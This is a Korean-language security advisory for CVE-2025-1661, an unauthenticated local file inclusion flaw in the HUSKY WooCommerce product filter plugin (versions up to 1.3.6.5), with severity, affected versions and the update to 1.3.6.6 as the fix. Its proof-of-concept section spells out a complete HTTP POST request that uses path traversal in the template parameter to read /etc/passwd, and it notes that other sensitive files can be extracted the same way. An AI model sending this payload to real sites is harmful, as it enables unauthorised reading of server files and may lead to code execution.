CVE-2025-1661 - 인증되지 않은 로컬 파일 포함 (LFI) - HUSKY – WooCommerce용 제품 필터 프로페셔널

설명

HUSKY – WooCommerce용 제품 필터 프로페셔널 WordPress 플러그인은 버전 1.3.6.5 이하에서 woof_text_search AJAX 액션의 template 파라미터를 통해 로컬 파일 포함(LFI) 취약점에 취약합니다.

이로 인해 인증되지 않은 공격자가 서버에서 임의의 파일을 포함하고 실행할 수 있으며, 잠재적으로 다음을 초래할 수 있습니다:

• 접근 제어 우회
• 민감한 데이터 추출
• 특정 조건이 충족될 경우 원격 코드 실행(RCE) (예: "안전한" 파일 유형 업로드)

심각도: Critical

• CVSS 점수: 9.8 (Critical)
• CWE ID: CWE-22 (경로 탐색)
• EPS 점수: 0.00061

영향을 받는 버전

• 취약 버전: <= 1.3.6.5
• 패치 버전: 1.3.6.6

해결 방법

버전 1.3.6.6 이상의 패치된 버전으로 업데이트하세요.

개념 증명 (PoC)

재현 단계

1. 대상 웹사이트를 방문하세요.
2. Burp Suite를 사용하여 요청을 캡처하세요.
3. 요청 방식을 POST로 변경하고 다음 페이로드를 추가하세요:

POST /wp-admin/admin-ajax.php?template=../../../../../../../etc/passwd&value=a&min_symbols=1  HTTP/1.1
Host: TARGET_SITE_HERE
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: YOUR_SESSION_COOKIE_HERE
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

action=woof_text_search&

4. 성공하면 서버가 /etc/passwd의 내용을 반환합니다. 5. 이를 사용하여 서버에서 다른 민감한 파일을 추출할 수 있습니다.

참고 자료

• Wordfence 권고
• WordPress 플러그인 코드
• CVE 보고서

면책 조항

이 PoC는 교육 및 연구 목적으로만 제공됩니다. 허가 없이 시스템을 대상으로 테스트하는 것은 불법이며 비윤리적입니다. 보안 테스트를 수행하기 전에 항상 명시적 승인을 받으세요.